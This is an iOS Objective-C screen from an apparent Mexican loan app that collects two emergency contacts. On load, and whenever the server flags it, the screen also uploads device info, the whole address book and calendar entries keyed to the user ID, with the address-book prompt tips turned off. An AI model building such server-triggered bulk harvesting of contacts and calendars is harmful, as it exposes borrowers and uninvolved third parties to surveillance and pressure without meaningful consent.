//
//  WXPAuthContactVC.m
//  MexicoLoan
//
//  Created by WXP on 2025/2/27.
//
//

#import "WXPAuthContactVC.h"
#import "WXPAuthContactContentView.h"

@interface WXPAuthContactVC ()

@property (nonatomic, strong) WXPAuthContactContentView * viewContent;
@property (nonatomic, strong) NSDictionary * deviceInfo;

@end

@implementation WXPAuthContactVC

#pragma mark - lazy
- (WXPAuthContactContentView *)viewContent{
    if (!_viewContent) {
        _viewContent = [WXPAuthContactContentView new];
        WEAKSELF
        _viewContent.firstContactView.blockResetAuthBtnState = ^{
            [weakSelf resetAuthBtn];
        };
        _viewContent.secContactView.blockResetAuthBtnState = ^{
            [weakSelf resetAuthBtn];
        };
    }
    return _viewContent;
}

#pragma mark - viewDidLoad
- (void)viewWillAppear:(BOOL)animated{
    [super viewWillAppear:animated];
    [GlobalMethod buryPointWithPageName:KEY_VerifyContact featureName:KEY_Page action:KEY_ENTER type:KEY_page];
}
- (void)viewWillDisappear:(BOOL)animated{
    [super viewWillDisappear:animated];
    [GlobalMethod buryPointWithPageName:KEY_VerifyContact featureName:KEY_Page action:KEY_OUT type:KEY_page];
}
- (void)viewDidAppear:(BOOL)animated{
    [super viewDidAppear:animated];
    // 打点
    [GlobalMethod hitPointWithPageName:KEY_VerifyContact action:KEY_Enter extInfo:nil];
}
- (void)viewDidLoad {
    [super viewDidLoad];
    
    [self.navView resetViewWithTitle:@"Información de contactos"];
    [self.progressView resetViewWithNum:@"5"];
    [self.progressView.moneyView resetViewWithTag:5];
    [self resetHeaderView];
    WEAKSELF
    [self.btnAuth setNoRepeatActionWithInterval:1 action:^(UIButton * _Nonnull button) {
        [NSObject clickFeedback];
        [weakSelf.btnAuth addClickAnimate];
        [weakSelf requestSubmitAuth];
    }];
    // request
    [self requestRelationshipOneDictList];
    [self requestRelationshipTwoDictList];
    [self checkUploadDeviceInfo];
}

#pragma mark - resetHeaderView
- (void)resetHeaderView{
    self.headerView = [UIView initWithViews:@[
        self.progressView,
        [GlobalMethod getViewWithHeight:16],
        self.viewContent,
        //[GlobalMethod getViewWithHeight:(SCREEN_HEIGHT-self.btnAuth.top)],
    ]];
    self.tableView.tableHeaderView = self.headerView;
}

- (void)resetAuthBtn{
    if(isStrDeleteSpaces(self.viewContent.firstContactView.tfRelation.text) &&
       isStrDeleteSpaces(self.viewContent.firstContactView.tfName.text) &&
       isStrDeleteSpaces(self.viewContent.firstContactView.tfPhone.text) &&
       isStrDeleteSpaces(self.viewContent.secContactView.tfRelation.text) &&
       isStrDeleteSpaces(self.viewContent.secContactView.tfName.text) &&
       isStrDeleteSpaces(self.viewContent.secContactView.tfPhone.text)){
        self.btnAuth.userInteractionEnabled = true;
        self.btnAuth.alpha = 1;
    }else{
        self.btnAuth.userInteractionEnabled = false;
        self.btnAuth.alpha = 0.5;
    }
}

#pragma mark - requeest
// 检查是否需要上传扩展信息
- (void)checkUploadDeviceInfo{
    [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_Check extInfo:nil];
    [RequestApi requestCheckUploadDeviceInfoWithDelegate:self success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
        BOOL needUploadDeviceInfo   = [response boolValueForKey:KEY_deviceInfo];
        if(needUploadDeviceInfo){
            [self uploadDeviceInfo];
        }
        BOOL needUploadAddressBook  = [response boolValueForKey:KEY_addressBook];
        if(needUploadAddressBook){
            [self uploadAddressBookInfo];
        }
        BOOL needUploadCalendarInfo = [response boolValueForKey:KEY_calendarInfo];
        if(needUploadCalendarInfo){
            [self uploadCalendarInfo];
        }
    } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
        
    }];
}
// 上传设备信息
- (void)uploadDeviceInfo{
    NSMutableDictionary * authExtInfoDic = [NSMutableDictionary  new];
    if (isStr([GlobalData sharedInstance].Global_UserCode)) {
        [authExtInfoDic setObject:[GlobalData sharedInstance].Global_UserCode forKey:KEY_userId];
    }
    // 获取设备信息
    WEAKSELF
    [GlobalMethod getDeviceInfoBlock:^(NSDictionary *dict) {
        if ([weakSelf.deviceInfo count] && weakSelf.deviceInfo) {
            // 已获取设备信息，为防止接口频繁调用
        }else{
            weakSelf.deviceInfo = dict;
            // 需要上传设备信息
            if(weakSelf.deviceInfo != nil){
                [authExtInfoDic setObject:weakSelf.deviceInfo forKey:KEY_device_info];
                [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_DeviceInfo_Upload extInfo:nil];
                // 执行上传任务
                [RequestApi requestUploadExtInfoWithExtInfo:authExtInfoDic delegate:nil success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
                    [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_DeviceInfo_End extInfo:@{@"isSuccess": @"true", @"errorMsg": @""}];
                } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
                    [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_DeviceInfo_End extInfo:@{@"isSuccess": @"false", @"errorMsg": errorStr}];
                }];
            }
        }
    }];
}

// 上传通讯录
- (void)uploadAddressBookInfo{
    NSMutableDictionary * authExtInfoDic = [NSMutableDictionary  new];
    if (isStr([GlobalData sharedInstance].Global_UserCode)) {
        [authExtInfoDic setObject:[GlobalData sharedInstance].Global_UserCode forKey:KEY_userId];
    }
    // 获取通讯录
    [GlobalMethod getAddressBookAuthorityBlock:^{
        [GlobalMethod asynthicBlock:^{
            [GlobalMethod getAddressBookArrayBlock:^(NSMutableArray *array) {
                if(isAry(array)){
                    [authExtInfoDic setObject:array forKey:KEY_address_book];
                    // 执行上传任务
                    [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_Contact_Upload extInfo:nil];
                    [RequestApi requestUploadExtInfoWithExtInfo:authExtInfoDic delegate:nil success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
                        
                    } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
                        
                    }];
                }
            }];
        }];
    } isShowTips:false];
}

// 上传日历信息
- (void)uploadCalendarInfo{
    NSMutableDictionary * authExtInfoDic = [NSMutableDictionary  new];
    if (isStr([GlobalData sharedInstance].Global_UserCode)) {
        [authExtInfoDic setObject:[GlobalData sharedInstance].Global_UserCode forKey:KEY_userId];
    }
    // 获取日历信息
    [GlobalMethod getCalendarInfoBlock:^(NSMutableArray *array) {
        [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_Calendar_Read extInfo:@{@"count": [NSString stringWithFormat:@"%ld", array.count]}];
        [authExtInfoDic setObject:(isAry(array))?array:@[] forKey:KEY_calendar_list];
        // 执行上传任务
        [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_Calendar_Upload extInfo:nil];
        [RequestApi requestUploadExtInfoWithExtInfo:authExtInfoDic delegate:nil success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
            [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_Calendar_End extInfo:@{@"isSuccess": @"true", @"errorMsg": @""}];
        } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
            [GlobalMethod hitPointWithPageName:KEY_ExtInfoUpload action:KEY_Calendar_End extInfo:@{@"isSuccess": @"false", @"errorMsg": errorStr}];
        }];
    }];
}


// 关系-1
- (void)requestRelationshipOneDictList{
    [RequestApi requestCommonDictListWithType:KEY_RELATIONSHIP1 delegate:nil success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
        
        self.viewContent.firstContactView.relationshipAry = [response arrayValueForKey:KEY_dictList];
        
    } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
        
    }];
}
// 关系-2
- (void)requestRelationshipTwoDictList{
    [RequestApi requestCommonDictListWithType:KEY_RELATIONSHIP2 delegate:nil success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
        
        self.viewContent.secContactView.relationshipAry = [response arrayValueForKey:KEY_dictList];
        
    } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
        
    }];
}

- (void)requestSubmitAuth{
    [GlobalMethod hitPointWithPageName:KEY_VerifyContact action:KEY_Save_Start extInfo:nil];
    NSDictionary * dic = @{
        KEY_contact1: readStr([self.viewContent.firstContactView.tfPhone.text removeHeadAndTailSpace]),
        KEY_contact1Name: readStr([self.viewContent.firstContactView.tfName.text removeHeadAndTailSpace]),
        KEY_relationship1: readStr(self.viewContent.firstContactView.relationship),
        KEY_contact2: readStr([self.viewContent.secContactView.tfPhone.text removeHeadAndTailSpace]),
        KEY_contact2Name: [readStr(self.viewContent.secContactView.tfName.text) removeHeadAndTailSpace],
        KEY_relationship2: readStr(self.viewContent.secContactView.relationship),
    };
    [RequestApi requestSaveUserInfoWithData:dic step:KEY_CONTACT_INFO delegate:self success:^(NSDictionary * _Nonnull response, id  _Nonnull mark) {
    
        [GlobalMethod hitPointWithPageName:KEY_VerifyContact action:KEY_Save_End extInfo:nil];
        // 风控
        [GlobalMethod addRiskControlWithType:KEY_CONTACT startTime:self.startTime endTime:[GlobalMethod getTimeStampMillisecond]];
        // 调用获取下一步接口，跳转到该接口返回的对应认证页面
        [self requestGetNextStep];
        
    } failure:^(NSString * _Nonnull errorStr, id  _Nonnull mark) {
        
    }];
}

@end
